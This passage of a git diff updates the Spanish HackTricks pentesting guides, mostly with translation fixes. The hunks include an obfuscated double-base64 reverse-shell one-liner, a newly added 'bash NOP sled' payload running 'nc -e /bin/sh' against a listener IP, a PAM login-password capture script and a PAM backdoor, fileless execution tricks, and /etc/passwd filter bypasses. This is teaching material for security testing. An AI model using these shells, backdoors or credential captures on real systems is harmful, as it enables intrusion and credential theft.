condicional en el valor de **debug**.\ +Python ejecutado con optimizaciones con el parámetro `-O` eliminará las declaraciones de afirmación y cualquier código condicional en el valor de **debug**.\ Por lo tanto, verificaciones como ```python def check_permission(super_user): diff --git a/src/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md b/src/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md index aa87cb424..97fb1c71a 100644 --- a/src/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md +++ b/src/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md @@ -180,7 +180,7 @@ subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
-Sobrescribiendo __kwdefaults__ +Sobreescribiendo __kwdefaults__ **`__kwdefaults__`** es un atributo especial de todas las funciones, basado en la [documentación](https://docs.python.org/3/library/inspect.html) de Python, es un “mapeo de cualquier valor predeterminado para parámetros **solo de palabra clave**”. Contaminar este atributo nos permite controlar los valores predeterminados de los parámetros solo de palabra clave de una función, estos son los parámetros de la función que vienen después de \* o \*args. ```python @@ -226,7 +226,7 @@ execute() #> Executing echo Polluted Sobrescribiendo el secreto de Flask a través de archivos Entonces, si puedes hacer una contaminación de clase sobre un objeto definido en el archivo python principal de la web pero **cuyo clase está definida en un archivo diferente** al principal. Porque para acceder a \_\_globals\_\_ en las cargas útiles anteriores necesitas acceder a la clase del objeto o métodos de la clase, podrás **acceder a los globals en ese archivo, pero no en el principal**. \ -Por lo tanto, **no podrás acceder al objeto global de la aplicación Flask** que definió la **clave secreta** en la página principal: +Por lo tanto, **no podrás acceder al objeto global de la app de Flask** que definió la **clave secreta** en la página principal: ```python app = Flask(__name__, template_folder='templates') app.secret_key = '(:secret:)' diff --git a/src/hardware-physical-access/firmware-analysis/README.md b/src/hardware-physical-access/firmware-analysis/README.md index df218cd6b..028f8e190 100644 --- a/src/hardware-physical-access/firmware-analysis/README.md +++ b/src/hardware-physical-access/firmware-analysis/README.md @@ -25,7 +25,7 @@ El firmware es un software esencial que permite a los dispositivos operar correc - Diagramas arquitectónicos y de flujo - Evaluaciones de seguridad y vulnerabilidades identificadas -Para este propósito, las herramientas de **inteligencia de código abierto (OSINT)** son invaluables, así como el análisis de cualquier componente de software de código abierto disponible a través de procesos de revisión manual y automatizada. Herramientas como [Coverity Scan](https://scan.coverity.com) y [LGTM de Semmle](https://lgtm.com/#explore) ofrecen análisis estático gratuito que se puede aprovechar para encontrar problemas potenciales. +Para este propósito, las herramientas de **inteligencia de código abierto (OSINT)** son invaluables, al igual que el análisis de cualquier componente de software de código abierto disponible a través de procesos de revisión manual y automatizada. Herramientas como [Coverity Scan](https://scan.coverity.com) y [Semmle’s LGTM](https://lgtm.com/#explore) ofrecen análisis estático gratuito que se puede aprovechar para encontrar problemas potenciales. ## **Adquisición del Firmware** @@ -35,7 +35,7 @@ Obtener firmware se puede abordar a través de varios medios, cada uno con su pr - **Construyéndolo** a partir de instrucciones proporcionadas - **Descargando** de sitios de soporte oficiales - Utilizando consultas de **Google dork** para encontrar archivos de firmware alojados -- Accediendo a **almacenamiento en la nube** directamente, con herramientas como [S3Scanner](https://github.com/sa7mon/S3Scanner) +- Accediendo al **almacenamiento en la nube** directamente, con herramientas como [S3Scanner](https://github.com/sa7mon/S3Scanner) - Interceptando **actualizaciones** a través de técnicas de hombre en el medio - **Extrayendo** del dispositivo a través de conexiones como **UART**, **JTAG** o **PICit** - **Esnifando** solicitudes de actualización dentro de la comunicación del dispositivo @@ -66,7 +66,7 @@ O [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/ ### Obtener el Sistema de Archivos -Con las herramientas comentadas anteriormente como `binwalk -ev `, deberías haber podido **extraer el sistema de archivos**.\ +Con las herramientas comentadas anteriormente, como `binwalk -ev `, deberías haber podido **extraer el sistema de archivos**.\ Binwalk generalmente lo extrae dentro de una **carpeta nombrada como el tipo de sistema de archivos**, que suele ser uno de los siguientes: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs. #### Extracción Manual del Sistema de Archivos @@ -161,7 +161,7 @@ Con el sistema de archivos extraído, comienza la búsqueda de fallos de segurid Varias herramientas ayudan a descubrir información sensible y vulnerabilidades dentro del sistema de archivos: - [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) y [**Firmwalker**](https://github.com/craigz28/firmwalker) para la búsqueda de información sensible -- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) para un análisis completo de firmware +- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) para un análisis exhaustivo del firmware - [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) y [**EMBA**](https://github.com/e-m-b-a/emba) para análisis estático y dinámico ### Comprobaciones de Seguridad en Binarios Compilados @@ -170,7 +170,7 @@ Tanto el código fuente como los binarios compilados encontrados en el sistema d ## Emulando Firmware para Análisis Dinámico -El proceso de emular firmware permite un **análisis dinámico** ya sea de la operación de un dispositivo o de un programa individual. Este enfoque puede encontrar desafíos con dependencias de hardware o arquitectura, pero transferir el sistema de archivos raíz o binarios específicos a un dispositivo con arquitectura y endianness coincidentes, como una Raspberry Pi, o a una máquina virtual preconstruida, puede facilitar pruebas adicionales. +El proceso de emular firmware permite un **análisis dinámico** ya sea del funcionamiento de un dispositivo o de un programa individual. Este enfoque puede encontrar desafíos con dependencias de hardware o arquitectura, pero transferir el sistema de archivos raíz o binarios específicos a un dispositivo con arquitectura y endianness coincidentes, como una Raspberry Pi, o a una máquina virtual preconstruida, puede facilitar pruebas adicionales. ### Emulando Binarios Individuales @@ -186,7 +186,7 @@ Y para instalar las herramientas de emulación necesarias: ```bash sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils ``` -Para MIPS (big-endian), se utiliza `qemu-mips`, y para binarios little-endian, `qemu-mipsel` sería la elección. +Para MIPS (big-endian), se utiliza `qemu-mips`, y para binarios little-endian, la elección sería `qemu-mipsel`. #### Emulación de Arquitectura ARM @@ -244,7 +244,7 @@ En el firmware vulnerable (degradado), el parámetro `md5` se concatena directam ### Extracción de Firmware de Aplicaciones Móviles -Muchos proveedores empaquetan imágenes de firmware completas dentro de sus aplicaciones móviles complementarias para que la aplicación pueda actualizar el dispositivo a través de Bluetooth/Wi-Fi. Estos paquetes se almacenan comúnmente sin cifrar en el APK/APEX bajo rutas como `assets/fw/` o `res/raw/`. Herramientas como `apktool`, `ghidra` o incluso el simple `unzip` te permiten extraer imágenes firmadas sin tocar el hardware físico. +Muchos proveedores agrupan imágenes de firmware completas dentro de sus aplicaciones móviles complementarias para que la aplicación pueda actualizar el dispositivo a través de Bluetooth/Wi-Fi. Estos paquetes se almacenan comúnmente sin cifrar en el APK/APEX bajo rutas como `assets/fw/` o `res/raw/`. Herramientas como `apktool`, `ghidra` o incluso el simple `unzip` te permiten extraer imágenes firmadas sin tocar el hardware físico. ``` $ apktool d vendor-app.apk -o vendor-app $ ls vendor-app/assets/firmware @@ -255,8 +255,8 @@ firmware_v1.3.11.490_signed.bin * ¿Está adecuadamente protegida la *autenticación/transporte del endpoint de actualización* (TLS + autenticación)? * ¿Compara el dispositivo **números de versión** o un **contador anti-retroceso monotónico** antes de flashear? * ¿Se verifica la imagen dentro de una cadena de arranque seguro (por ejemplo, firmas verificadas por código ROM)? -* ¿El código de espacio de usuario realiza verificaciones adicionales de coherencia (por ejemplo, mapa de particiones permitido, número de modelo)? -* ¿Los flujos de actualización *parciales* o *de respaldo* reutilizan la misma lógica de validación? +* ¿El código de espacio de usuario realiza verificaciones adicionales de sensatez (por ejemplo, mapa de particiones permitido, número de modelo)? +* ¿Los flujos de actualización *parcial* o *de respaldo* reutilizan la misma lógica de validación? > 💡 Si falta alguno de los anteriores, la plataforma probablemente sea vulnerable a ataques de retroceso. @@ -272,7 +272,7 @@ Para practicar la detección de vulnerabilidades en firmware, utiliza los siguie - [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html) - ARM-X - [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads) -- VM 2.0 de Azeria Labs +- Azeria Labs VM 2.0 - [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/) - Dispositivo IoT Damn Vulnerable (DVID) - [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID) diff --git a/src/linux-hardening/bypass-bash-restrictions/README.md b/src/linux-hardening/bypass-bash-restrictions/README.md index 4e7f4c4b5..ca5a3325b 100644 --- a/src/linux-hardening/bypass-bash-restrictions/README.md +++ b/src/linux-hardening/bypass-bash-restrictions/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## Bypass de Limitaciones Comunes +## Bypasses de Limitaciones Comunes -### Shell Inversa +### Reverse Shell ```bash # Double-Base64 is a great way to avoid bad characters like +, works 99% of the time echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' @@ -105,7 +105,7 @@ echo "ls\x09-l" | bash $u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined uname!-1\-a # This equals to uname -a ``` -### Bypass backslash y slash +### Bypass backslash and slash ```bash cat ${HOME:0:1}etc${HOME:0:1}passwd cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd @@ -296,7 +296,8 @@ ln /f* ``` ## Bypass de Solo Lectura/Noexec/Distroless -Si estás dentro de un sistema de archivos con las **protecciones de solo lectura y noexec** o incluso en un contenedor distroless, aún hay formas de **ejecutar binarios arbitrarios, ¡incluso un shell!:** +Si estás dentro de un sistema de archivos con las **protecciones de solo lectura y noexec** o incluso en un contenedor distroless, todavía hay formas de **ejecutar binarios arbitrarios, ¡incluso un shell!:** + {{#ref}} bypass-fs-protections-read-only-no-exec-distroless/ @@ -304,15 +305,38 @@ bypass-fs-protections-read-only-no-exec-distroless/ ## Bypass de Chroot y otras Cárceles + {{#ref}} ../privilege-escalation/escaping-from-limited-bash.md {{#endref}} -## Referencias y Más +## NOP Sled Basado en Espacio ("Bashsledding") + +Cuando una vulnerabilidad te permite controlar parcialmente un argumento que finalmente llega a `system()` u otro shell, es posible que no sepas el desplazamiento exacto en el que la ejecución comienza a leer tu carga útil. Los NOP sleds tradicionales (por ejemplo, `\x90`) **no** funcionan en la sintaxis de shell, pero Bash ignorará inofensivamente los espacios en blanco iniciales antes de ejecutar un comando. + +Por lo tanto, puedes crear un *NOP sled para Bash* prefijando tu comando real con una larga secuencia de espacios o caracteres de tabulación: +```bash +# Payload sprayed into an environment variable / NVRAM entry +" nc -e /bin/sh 10.0.0.1 4444" +# 16× spaces ───┘ ↑ real command +``` +Si una cadena ROP (o cualquier primitiva de corrupción de memoria) coloca el puntero de instrucción en cualquier lugar dentro del bloque de espacio, el analizador de Bash simplemente omite los espacios en blanco hasta que llega a `nc`, ejecutando tu comando de manera confiable. + +Casos de uso prácticos: + +1. **Blobs de configuración mapeados en memoria** (por ejemplo, NVRAM) que son accesibles entre procesos. +2. Situaciones en las que el atacante no puede escribir bytes NULL para alinear la carga útil. +3. Dispositivos embebidos donde solo está disponible BusyBox `ash`/`sh` – también ignoran los espacios en blanco al principio. + +> 🛠️ Combina este truco con gadgets ROP que llaman a `system()` para aumentar drásticamente la fiabilidad de la explotación en enrutadores IoT con limitaciones de memoria. + +## Referencias y más - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits) - [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet) - [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) -- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju +- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju) + +- [Explotando días cero en hardware abandonado – Blog de Trail of Bits](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/src/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md index 1897a9e82..2f83f458e 100644 --- a/src/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md +++ b/src/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md @@ -29,7 +29,7 @@ securityContext: Sin embargo, incluso si el sistema de archivos está montado como ro, **`/dev/shm`** seguirá siendo escribible, por lo que es falso que no podamos escribir nada en el disco. Sin embargo, esta carpeta estará **montada con protección no-exec**, por lo que si descargas un binario aquí **no podrás ejecutarlo**. > [!WARNING] -> Desde la perspectiva de un equipo rojo, esto hace que sea **complicado descargar y ejecutar** binarios que no están en el sistema ya (como puertas traseras o enumeradores como `kubectl`). +> Desde la perspectiva de un equipo rojo, esto hace que sea **complicado descargar y ejecutar** binarios que no están ya en el sistema (como puertas traseras o enumeradores como `kubectl`). ## Easiest bypass: Scripts @@ -45,10 +45,10 @@ Si deseas ejecutar un binario pero el sistema de archivos no lo permite, la mejo Si tienes algunos motores de script potentes dentro de la máquina, como **Python**, **Perl** o **Ruby**, podrías descargar el binario para ejecutarlo desde la memoria, almacenarlo en un descriptor de archivo de memoria (`create_memfd` syscall), que no estará protegido por esas protecciones y luego llamar a una **`exec` syscall** indicando el **fd como el archivo a ejecutar**. -Para esto, puedes usar fácilmente el proyecto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Puedes pasarle un binario y generará un script en el lenguaje indicado con el **binario comprimido y codificado en b64** con las instrucciones para **decodificar y descomprimirlo** en un **fd** creado llamando a la syscall `create_memfd` y una llamada a la syscall **exec** para ejecutarlo. +Para esto, puedes usar fácilmente el proyecto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Puedes pasarle un binario y generará un script en el lenguaje indicado con el **binario comprimido y codificado en b64** con las instrucciones para **decodificar y descomprimirlo** en un **fd** creado llamando a `create_memfd` syscall y una llamada a la **exec** syscall para ejecutarlo. > [!WARNING] -> Esto no funciona en otros lenguajes de scripting como PHP o Node porque no tienen ninguna **manera predeterminada de llamar a syscalls en bruto** desde un script, por lo que no es posible llamar a `create_memfd` para crear el **fd de memoria** para almacenar el binario. +> Esto no funciona en otros lenguajes de scripting como PHP o Node porque no tienen ninguna **manera predeterminada de llamar a syscalls en bruto** desde un script, por lo que no es posible llamar a `create_memfd` para crear el **memory fd** para almacenar el binario. > > Además, crear un **fd regular** con un archivo en `/dev/shm` no funcionará, ya que no se te permitirá ejecutarlo porque se aplicará la **protección no-exec**. @@ -56,7 +56,7 @@ Para esto, puedes usar fácilmente el proyecto [**fileless-elf-exec**](https://g [**DDexec / EverythingExec**](https://github.com/arget13/DDexec) es una técnica que te permite **modificar la memoria de tu propio proceso** sobrescribiendo su **`/proc/self/mem`**. -Por lo tanto, **controlando el código ensamblador** que se está ejecutando en el proceso, puedes escribir un **shellcode** y "mutar" el proceso para **ejecutar cualquier código arbitrario**. +Por lo tanto, **controlando el código ensamblador** que se está ejecutando por el proceso, puedes escribir un **shellcode** y "mutar" el proceso para **ejecutar cualquier código arbitrario**. > [!TIP] > **DDexec / EverythingExec** te permitirá cargar y **ejecutar** tu propio **shellcode** o **cualquier binario** desde **memoria**. @@ -74,7 +74,7 @@ ddexec.md [**Memexec**](https://github.com/arget13/memexec) es el siguiente paso natural de DDexec. Es un **DDexec shellcode demonizado**, por lo que cada vez que quieras **ejecutar un binario diferente** no necesitas relanzar DDexec, solo puedes ejecutar el shellcode de memexec a través de la técnica DDexec y luego **comunicarte con este demonio para pasar nuevos binarios para cargar y ejecutar**. -Puedes encontrar un ejemplo de cómo usar **memexec para ejecutar binarios desde un shell reverso de PHP** en [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php). +Puedes encontrar un ejemplo de cómo usar **memexec para ejecutar binarios desde un reverse shell de PHP** en [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php). ### Memdlopen @@ -88,24 +88,23 @@ Los contenedores distroless contienen solo los **componentes mínimos necesarios El objetivo de los contenedores distroless es **reducir la superficie de ataque de los contenedores al eliminar componentes innecesarios** y minimizar el número de vulnerabilidades que pueden ser explotadas. -### Shell Reverso +### Reverse Shell En un contenedor distroless, es posible que **ni siquiera encuentres `sh` o `bash`** para obtener un shell regular. Tampoco encontrarás binarios como `ls`, `whoami`, `id`... todo lo que normalmente ejecutas en un sistema. > [!WARNING] -> Por lo tanto, **no podrás** obtener un **shell reverso** o **enumerar** el sistema como lo haces normalmente. +> Por lo tanto, **no** podrás obtener un **reverse shell** o **enumerar** el sistema como lo haces normalmente. -Sin embargo, si el contenedor comprometido está ejecutando, por ejemplo, un flask web, entonces python está instalado, y por lo tanto puedes obtener un **shell reverso de Python**. Si está ejecutando node, puedes obtener un shell rev de Node, y lo mismo con casi cualquier **lenguaje de scripting**. +Sin embargo, si el contenedor comprometido está ejecutando, por ejemplo, un flask web, entonces python está instalado, y por lo tanto puedes obtener un **reverse shell de Python**. Si está ejecutando node, puedes obtener un reverse shell de Node, y lo mismo con casi cualquier **lenguaje de scripting**. > [!TIP] > Usando el lenguaje de scripting podrías **enumerar el sistema** utilizando las capacidades del lenguaje. -Si no hay protecciones de **`read-only/no-exec`**, podrías abusar de tu shell reverso para **escribir en el sistema de archivos tus binarios** y **ejecutarlos**. +Si no hay protecciones de **`read-only/no-exec`**, podrías abusar de tu reverse shell para **escribir en el sistema de archivos tus binarios** y **ejecutarlos**. > [!TIP] > Sin embargo, en este tipo de contenedores, estas protecciones generalmente existirán, pero podrías usar las **técnicas de ejecución en memoria anteriores para eludirlas**. -Puedes encontrar **ejemplos** sobre cómo **explotar algunas vulnerabilidades RCE** para obtener shells reversos de lenguajes de scripting y ejecutar binarios desde la memoria en [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE). - +Puedes encontrar **ejemplos** sobre cómo **explotar algunas vulnerabilidades RCE** para obtener **reverse shells** de lenguajes de scripting y ejecutar binarios desde la memoria en [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/freeipa-pentesting.md b/src/linux-hardening/freeipa-pentesting.md index 27c44f4d1..27363fe0f 100644 --- a/src/linux-hardening/freeipa-pentesting.md +++ b/src/linux-hardening/freeipa-pentesting.md @@ -4,20 +4,20 @@ ## Información Básica -FreeIPA es una **alternativa** de código abierto a **Active Directory** de Microsoft, principalmente para entornos **Unix**. Combina un **directorio LDAP** completo con un Centro de Distribución de Claves **Kerberos** de MIT para la gestión similar a Active Directory. Utiliza el **Sistema de Certificados** Dogtag para la gestión de certificados CA y RA, y admite autenticación **multi-factor**, incluyendo tarjetas inteligentes. SSSD está integrado para procesos de autenticación Unix. +FreeIPA es una **alternativa** de código abierto a **Active Directory** de Microsoft, principalmente para entornos **Unix**. Combina un **directorio LDAP** completo con un Centro de Distribución de Claves **Kerberos** de MIT para la gestión similar a Active Directory. Utilizando el **Sistema de Certificados** Dogtag para la gestión de certificados CA y RA, admite autenticación **multifactor** que incluye tarjetas inteligentes. SSSD está integrado para procesos de autenticación Unix. ## Huellas ### Archivos y Variables de Entorno -- El archivo en `/etc/krb5.conf` es donde se almacena la información del cliente Kerberos, necesaria para la inscripción en el dominio. Esto incluye ubicaciones de KDCs y servidores administrativos, configuraciones predeterminadas y asignaciones. +- El archivo en `/etc/krb5.conf` es donde se almacena la información del cliente Kerberos, necesaria para la inscripción en el dominio. Esto incluye las ubicaciones de los KDC y servidores administrativos, configuraciones predeterminadas y asignaciones. - Las configuraciones predeterminadas a nivel de sistema para clientes y servidores IPA se establecen en el archivo ubicado en `/etc/ipa/default.conf`. - Los hosts dentro del dominio deben tener un archivo `krb5.keytab` en `/etc/krb5.keytab` para los procesos de autenticación. - Varias variables de entorno (`KRB5CCNAME`, `KRB5_KTNAME`, `KRB5_CONFIG`, `KRB5_KDC_PROFILE`, `KRB5RCACHETYPE`, `KRB5RCACHEDIR`, `KRB5_TRACE`, `KRB5_CLIENT_KTNAME`, `KPROP_PORT`) se utilizan para apuntar a archivos y configuraciones específicas relevantes para la autenticación Kerberos. ### Binarios -Herramientas como `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch` y `kvno` son centrales para gestionar dominios FreeIPA, manejar tickets Kerberos, cambiar contraseñas y adquirir tickets de servicio, entre otras funcionalidades. +Herramientas como `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch` y `kvno` son clave para gestionar dominios FreeIPA, manejar tickets Kerberos, cambiar contraseñas y adquirir tickets de servicio, entre otras funcionalidades. ### Red @@ -37,9 +37,9 @@ Alternativamente, los Tickets CCACHE pueden almacenarse en el keyring de Linux, ### Keytab -Los archivos keytab, que contienen principios Kerberos y claves encriptadas, son críticos para obtener tickets de concesión de tickets válidos (TGT) sin necesidad de la contraseña del principio. El análisis y la reutilización de credenciales de archivos keytab se pueden realizar fácilmente con utilidades como `klist` y scripts como **KeytabParser**. +Los archivos keytab, que contienen principales de Kerberos y claves encriptadas, son críticos para obtener tickets de concesión de tickets válidos (TGT) sin necesidad de la contraseña del principal. El análisis y la reutilización de credenciales de archivos keytab se pueden realizar fácilmente con utilidades como `klist` y scripts como **KeytabParser**. -### Hoja de Trucos +### Hoja de trucos Puedes encontrar más información sobre cómo usar tickets en linux en el siguiente enlace: @@ -56,7 +56,7 @@ privilege-escalation/linux-active-directory.md Es posible crear **hosts**, **usuarios** y **grupos**. Los hosts y usuarios se organizan en contenedores llamados “**Grupos de Hosts**” y “**Grupos de Usuarios**” respectivamente. Estos son similares a las **Unidades Organizativas** (OU). -Por defecto en FreeIPA, el servidor LDAP permite **vínculos anónimos**, y una gran cantidad de datos es enumerable **no autenticada**. Esto puede enumerar todos los datos disponibles no autenticados: +Por defecto en FreeIPA, el servidor LDAP permite **vínculos anónimos**, y una gran cantidad de datos es enumerable **sin autenticar**. Esto puede enumerar todos los datos disponibles sin autenticar: ``` ldapsearch -x ``` @@ -88,14 +88,14 @@ ipa usergroup-show --all ipa host-find --all ipa hostgroup-show --all ``` -> [!NOTE] +> [!TIP] > El usuario **admin** de **FreeIPA** es el equivalente a **domain admins** de **AD**. ### Hashes -El usuario **root** del servidor **IPA** tiene acceso a los **hashes** de contraseña. +El usuario **root** del servidor **IPA** tiene acceso a los **hashes** de contraseñas. -- El hash de contraseña de un usuario se almacena como **base64** en el atributo “**userPassword**”. Este hash puede ser **SSHA512** (versiones antiguas de FreeIPA) o **PBKDF2_SHA256**. +- El hash de la contraseña de un usuario se almacena como **base64** en el atributo “**userPassword**”. Este hash puede ser **SSHA512** (versiones antiguas de FreeIPA) o **PBKDF2_SHA256**. - El **Nthash** de la contraseña se almacena como **base64** en “**ipaNTHash**” si el sistema tiene **integración** con **AD**. Para romper estos hashes: diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md index 05ac1b52d..ba9fef3e7 100644 --- a/src/linux-hardening/linux-post-exploitation/README.md +++ b/src/linux-hardening/linux-post-exploitation/README.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Captura de Contraseñas de Inicio de Sesión con PAM +## Sniffing Logon Passwords with PAM Vamos a configurar un módulo PAM para registrar cada contraseña que cada usuario utiliza para iniciar sesión. Si no sabes qué es PAM, consulta: @@ -10,15 +10,15 @@ Vamos a configurar un módulo PAM para registrar cada contraseña que cada usuar pam-pluggable-authentication-modules.md {{#endref}} -**Para más detalles, consulta el [post original](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Esto es solo un resumen: +**Para más detalles, consulta la [publicación original](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Este es solo un resumen: **Descripción de la Técnica:** Los Módulos de Autenticación Pluggable (PAM) ofrecen flexibilidad en la gestión de la autenticación en sistemas basados en Unix. Pueden mejorar la seguridad al personalizar los procesos de inicio de sesión, pero también presentan riesgos si se utilizan de manera incorrecta. Este resumen describe una técnica para capturar credenciales de inicio de sesión utilizando PAM, junto con estrategias de mitigación. -**Captura de Credenciales:** +**Capturando Credenciales:** - Se crea un script bash llamado `toomanysecrets.sh` para registrar los intentos de inicio de sesión, capturando la fecha, el nombre de usuario (`$PAM_USER`), la contraseña (a través de stdin) y la IP del host remoto (`$PAM_RHOST`) en `/var/log/toomanysecrets.log`. -- El script se hace ejecutable e integra en la configuración de PAM (`common-auth`) utilizando el módulo `pam_exec.so` con opciones para ejecutarse en silencio y exponer el token de autenticación al script. +- El script se hace ejecutable e se integra en la configuración de PAM (`common-auth`) utilizando el módulo `pam_exec.so` con opciones para ejecutarse en silencio y exponer el token de autenticación al script. - El enfoque demuestra cómo un host Linux comprometido puede ser explotado para registrar credenciales de manera discreta. ```bash #!/bin/sh @@ -33,21 +33,21 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh **Para más detalles, consulta el [post original](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Esto es solo un resumen: -El Módulo de Autenticación Pluggable (PAM) es un sistema utilizado en Linux para la autenticación de usuarios. Funciona en tres conceptos principales: **nombre de usuario**, **contraseña** y **servicio**. Los archivos de configuración para cada servicio se encuentran en el directorio `/etc/pam.d/`, donde las bibliotecas compartidas manejan la autenticación. +El Módulo de Autenticación Pluggable (PAM) es un sistema utilizado en Linux para la autenticación de usuarios. Opera en tres conceptos principales: **nombre de usuario**, **contraseña** y **servicio**. Los archivos de configuración para cada servicio se encuentran en el directorio `/etc/pam.d/`, donde las bibliotecas compartidas manejan la autenticación. **Objetivo**: Modificar PAM para permitir la autenticación con una contraseña específica, eludiendo la contraseña real del usuario. Esto se centra particularmente en la biblioteca compartida `pam_unix.so` utilizada por el archivo `common-auth`, que es incluido por casi todos los servicios para la verificación de contraseñas. ### Pasos para Modificar `pam_unix.so`: -1. **Localizar la Directiva de Autenticación** en el archivo `common-auth`: +1. **Localiza la Directiva de Autenticación** en el archivo `common-auth`: - La línea responsable de verificar la contraseña de un usuario llama a `pam_unix.so`. -2. **Modificar el Código Fuente**: -- Agregar una declaración condicional en el archivo fuente `pam_unix_auth.c` que otorgue acceso si se utiliza una contraseña predefinida; de lo contrario, procede con el proceso de autenticación habitual. -3. **Recompilar y Reemplazar** la biblioteca modificada `pam_unix.so` en el directorio apropiado. +2. **Modifica el Código Fuente**: +- Agrega una declaración condicional en el archivo fuente `pam_unix_auth.c` que otorgue acceso si se utiliza una contraseña predefinida; de lo contrario, procede con el proceso de autenticación habitual. +3. **Recompila y Reemplaza** la biblioteca modificada `pam_unix.so` en el directorio apropiado. 4. **Pruebas**: -- Se concede acceso a través de varios servicios (login, ssh, sudo, su, screensaver) con la contraseña predefinida, mientras que los procesos de autenticación normales permanecen sin afectar. +- Se concede acceso a través de varios servicios (inicio de sesión, ssh, sudo, su, protector de pantalla) con la contraseña predefinida, mientras que los procesos de autenticación normales permanecen sin afectar. -> [!NOTE] +> [!TIP] > Puedes automatizar este proceso con [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 16e48cbe9..4923d0da9 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### Información del SO -Comencemos a obtener algo de conocimiento sobre el SO en ejecución +Comencemos a obtener información sobre el SO en ejecución ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Ruta -Si **tienes permisos de escritura en alguna carpeta dentro de la variable `PATH`** podrías ser capaz de secuestrar algunas bibliotecas o binarios: +Si **tienes permisos de escritura en alguna carpeta dentro de la variable `PATH`** es posible que puedas secuestrar algunas bibliotecas o binarios: ```bash echo $PATH ``` @@ -35,7 +35,7 @@ searchsploit "Linux Kernel" Puedes encontrar una buena lista de núcleos vulnerables y algunos **exploits compilados** aquí: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) y [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Otros sitios donde puedes encontrar algunos **exploits compilados**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Para extraer todas las versiones vulnerables del núcleo de esa web, puedes hacer: +Para extraer todas las versiones de núcleo vulnerables de esa web, puedes hacer: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v 